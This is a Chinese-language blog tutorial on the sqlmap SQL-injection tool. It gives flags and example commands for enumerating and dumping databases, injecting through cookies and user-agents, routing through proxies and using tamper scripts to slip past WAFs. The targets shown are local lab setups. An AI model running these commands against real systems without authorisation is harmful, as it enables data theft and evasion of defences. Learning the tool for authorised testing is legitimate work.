SQL-map介绍

sqlmap是一种开源的渗透测试工具,可以自动检测和利用SQL注入漏洞以及接入该数据库的服务器。它拥有非常强大的检测引擎、具有多种特性的渗透测试器、通过数据库指纹提取访问底层文件系统并通过外带连接执行命令。

支持的数据库:MySQL,Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase and SAP MAXDB。

支持五种不同的注入模式:

  • UNION query SQL injection(可联合查询注入)
  • Error-based SQL injection(报错型注入)
  • Boolean-based blind SQL injection(布尔型注入)
  • Time-based blind SQL injection(基于时间延迟注入)
  • Stacked queries SQL injection(可多语句查询注入)

常用语法

直连数据库:sqlmap.py -d "mysql://root:root@127.0.0.1:3306/security"(前提要知道数据库类型,数据库的绝对路径)
-b                获取banner信息
--dbs             列举数据库 
--is-dba          是否是管理员权限
--current-db      当前数据库
--current-user    当前用户
--tables          列举数据库的表名
--count           检索所有条目数
--columns        获取表的列名
--dump           获取表中的数据,包含列
--level          测试等级(1-5),默认为1
-v               显示详细信息
读取数据库--->读取表---->读取表的字段---->获取内容
-D              指定数据库
-T            指定表
-C            指定字段
--dbms=mysql  oracle mssql         指定数据库
针对单一URL进行检测使用 
sqlmap.py -u “URL”
--o开启所有性能优化参数

扩展语法:

用--cookie来设置cookie参数

--cookie(指定cookie参数)
sqlmap.py -u "http://127.0.0.1/sqli/?id=1&Submit=Submit" --cookie "security=low; PHPSESSID=oqahlrrvjm7luamk99meb4vcp2"  -level 2
注:利用cookie进行sql注入时要将等级调为2以上最好-level 2(3,4)

--user-agent伪造请求客户端信息/user-agent注入

Sqlmap 默认使用sqlmap/1.0-devxxxx
sqlmap.py -u http://192.168.0.110/sql/Less-20/index.php --user-agent="xxxxxxxxxxx"

--random-agent sqlmap将从./txt/user-agent中随机选取一个用于会话中的http请求
sqlmap.py -u http://192.168.0.110/sql/Less-20/index.php --random-agent

注入点为user-agent时要将探测等级设置为--level 3或者在请求头后加*号,告诉sqlmap这里存在注入点
sqlmap.py -r post.txt --level 3

设置代理

--proxy设置HTTP代理服务器位置
sqlmap.py -u "http://192.168.0.110/sql/Less-11/" --proxy "http(s)://xx.xx.xx.xx:xx"
--proxy-fiile "//后跟文本路径"指定多条代理

设置发包延迟

--delay x(秒)
sqlmap.py -u "https://127.0.0.1/?id=1"  --delay 5

指定脚本多用于过WAF。

在sqlmap/tamper修改过着添加脚本
--tamper "xx.py"
Last modification:November 29, 2021
如果觉得我的文章对你有用,请随意赞赏